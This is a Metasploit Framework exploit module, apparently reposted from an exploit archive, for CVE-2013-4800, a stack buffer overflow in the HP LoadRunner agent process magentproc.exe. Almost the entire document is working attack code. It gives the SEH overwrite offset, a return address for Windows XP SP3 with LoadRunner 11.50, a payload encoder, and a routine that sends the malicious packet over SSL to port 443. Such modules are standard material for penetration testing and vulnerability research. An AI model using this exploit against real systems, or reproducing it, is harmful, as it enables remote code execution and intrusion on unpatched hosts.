HP LoadRunner magentproc.exe Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'HP LoadRunner magentproc.exe Overflow',  
'Description' => %q{  
This module exploits a stack buffer overflow in HP LoadRunner before 11.52. The  
vulnerability exists on the LoadRunner Agent Process magentproc.exe. By sending  
a specially crafted packet, an attacker may be able to execute arbitrary code.  
},  
'Author' =>  
[  
'Unknown', # Original discovery # From Tenable Network Security  
'juan vazquez' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2013-4800'],  
['OSVDB', '95644'],  
['http://www.zerodayinitiative.com/advisories/ZDI-13-169/']  
],  
'Privileged' => false,  
'DefaultOptions' =>  
{  
'SSL' => true,  
'SSLVersion' => 'SSL3',  
'PrependMigrate' => true  
},  
'Payload' =>  
{  
'Space' => 4096,  
'DisableNops' => true,  
'BadChars' => "\x00",  
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500  
},  
'Platform' => 'win',  
'DefaultTarget' => 0,  
'Targets' =>  
[  
[  
'Windows XP SP3 / HP LoadRunner 11.50',  
{  
# magentproc.exe 11.50.2042.0  
'Offset' => 1104,  
'Ret' => 0x7ffc070e, # ppr # from NLS tables # Tested stable over Windows XP SP3 updates  
'Crash' => 6000 # Length needed to ensure an exception  
}  
]  
],  
'DisclosureDate' => 'Jul 27 2013'))  
  
register_options([Opt::RPORT(443)], self.class)  
end  
  
def exploit  
  
req = [0xffffffff].pack("N") # Fake Length  
req << rand_text(target['Offset'])  
req << generate_seh_record(target.ret)  
req << payload.encoded  
req << rand_text(target['Crash'])  
  
connect  
print_status("Sending malicious request...")  
sock.put(req)  
disconnect  
  
end  
end  
`